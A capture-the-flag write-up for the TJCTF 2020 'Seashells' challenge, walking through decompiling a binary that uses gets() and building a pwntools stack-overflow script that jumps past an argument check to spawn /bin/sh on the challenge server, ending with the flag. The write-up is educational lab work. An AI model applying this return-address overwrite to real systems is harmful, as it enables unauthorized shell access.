Rating:

Seashells

Yet another binary exploitation challenge. You can find the binary here.

I decompiled it in ghidra again, to have a look at the code.

void shell(long param_1)
{
  if (param_1 == -0x2152350145414111) {
    system("/bin/sh");
  }
  return;
}

undefined8 main(void)
{
  int iVar1;
  char local_12 [10];

  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  puts("Welcome to Sally\'s Seashore Shell Shop");
  puts("Would you like a shell?");
  gets(local_12);
  iVar1 = strcasecmp(local_12,"yes");
  if (iVar1 == 0) {
    puts("sorry, we are out of stock");
  }
  else {
    puts("why are you even here?");
  }
  return 0;
}

Looks we have to overwrite the return address on the stack to return to the shell function. Because gets is used, we should have no trouble doing this.

I quickly found the padding needed to get to the return address using gdb, and I started making my script.

Decompiling the assembly code of shell in ghidra looks like this:

(gdb) disas shell
Dump of assembler code for function shell:
   0x00000000004006c7 <+0>: push   %rbp
   0x00000000004006c8 <+1>: mov    %rsp,%rbp
   0x00000000004006cb <+4>: sub    $0x10,%rsp
   0x00000000004006cf <+8>: mov    %rdi,-0x8(%rbp)
   0x00000000004006d3 <+12>:    movabs $0xdeadcafebabebeef,%rax
   0x00000000004006dd <+22>:    cmp    %rax,-0x8(%rbp)
   0x00000000004006e1 <+26>:    jne    0x4006ef <shell+40>
   0x00000000004006e3 <+28>:    lea    0x13e(%rip),%rdi        # 0x400828
   0x00000000004006ea <+35>:    callq  0x4005c0 <system@plt>
   0x00000000004006ef <+40>:    nop
   0x00000000004006f0 <+41>:    leaveq
   0x00000000004006f1 <+42>:    retq   
End of assembler dump.
(gdb)

I copied the hexadecimal address of the start of shell and put it in my script.

from pwn import *

if 'rem' in sys.argv:
    r = remote('p1.tjctf.org', 8009)
elif 'file' in sys.argv:
    class getPayload:
        def __init__(self):
            self.payload = b''
        def send(self, oper):
            self.payload += oper
        def interactive(self):
            file = open('payload', 'wb')
            file.write(self.payload)
            file.close()
    r = getPayload()
else:
    r = process('./seashells')

padding = b'B9alaLbY4ealaLbY4e'

r.send(padding)
r.send(p64(0x4006c7))
r.send(b'\n')

r.interactive()

Problem is, how do we add the operand if the function? It has to be equal to 0xdeadcafebabebeef, or else you won't get a shell!

I made my own test script with the call to the function in main to see how operands are handled.

Code:

void shell(long param_1) {
  if (param_1 == -0x2152350145414111) {
    system("/bin/sh");
  }
  return;
}

int main() {
  shell(-0x2152350145414111);
}

Then I compiled the program. As you can see, all it does is launch a shell. That's exactly what we want to do on the server.

jordan@notyourcomputer:~/CTF-writeups/TJCTF2020/seashells$ ./test
$ ls
chall.png  payload  README.md  seashells  sol.py  test  test.c
$ cat test.c
void shell(long param_1) {
  if (param_1 == -0x2152350145414111) {
    system("/bin/sh");
  }
  return;
}

int main() {
  shell(-0x2152350145414111);
}
$ exit
jordan@notyourcomputer:~/CTF-writeups/TJCTF2020/seashells$

Here's the decompilation of main from gdb:

(gdb) disas main
Dump of assembler code for function main:
   0x0000000000001166 <+0>: push   %rbp   0x0000000000001139 <+4>:  sub    $0x10,%rsp
   0x0000000000001167 <+1>: mov    %rsp,%rbp
   0x000000000000116a <+4>: movabs $0xdeadcafebabebeef,%rdi
   0x0000000000001174 <+14>:    callq  0x1135 <shell>
   0x0000000000001179 <+19>:    mov    $0x0,%eax
   0x000000000000117e <+24>:    pop    %rbp
   0x000000000000117f <+25>:    retq   
End of assembler dump.

As you can see, in main the operand is stored in rdi before the function is executed. We only have control over the stack, not any registers, so it seems like we hit a dead end. It is not possible to overwrite the parameter of this function because of this.

I soon realized that I don't have to jump to a beginning of a function, I can jump to wherever I want!

Let's look at shell again in the seashells binary:

Dump of assembler code for function shell:
   0x00000000004006c7 <+0>:    push   %rbp
   0x00000000004006c8 <+1>:    mov    %rsp,%rbp
   0x00000000004006cb <+4>: sub    $0x10,%rsp

The first two instructions are at the start of every function, and we don't need to worry about that. 16 bytes are also reserved on that stack, and that's not too important right now.

0x00000000004006cf <+8>:    mov    %rdi,-0x8(%rbp)
0x00000000004006d3 <+12>:   movabs $0xdeadcafebabebeef,%rax
0x00000000004006dd <+22>:   cmp    %rax,-0x8(%rbp)
0x00000000004006e1 <+26>:   jne    0x4006ef <shell+40>

There is the code that compares the argument with 0xdeadcafebabebeef. We can't control the argument, so is there anyway to skip this?

0x00000000004006e3 <+28>:   lea    0x13e(%rip),%rdi        # 0x400828
0x00000000004006ea <+35>:   callq  0x4005c0 <system@plt>

And here's the shellcode! We can just simply jump to this address instead, that would make it much more simple.

So, in our python script, instead of writing the address of shell (0x4006c7), we can write the address of the actual shellcode! (0x4006e3) That makes much more sense!

padding = b'B9alaLbY4ealaLbY4e'

r.send(padding)
r.send(p64(0x4006e3))
r.send(b'\n')

r.interactive()
$ py sol.py rem
[+] Opening connection to p1.tjctf.org on port 8009: Done
[*] Switching to interactive mode
Welcome to Sally's Seashore Shell Shop
Would you like a shell?
why are you even here?
$ ls
bin
flag.txt
lib
lib64
seashells
$ cat flag.txt
tjctf{she_s3lls_se4_sh3ll5}
$

Flag: tjctf{she_s3lls_se4_sh3ll5}

Original writeup (https://github.com/Jord4563/CTF-writeups/tree/master/TJCTF2020/seashells).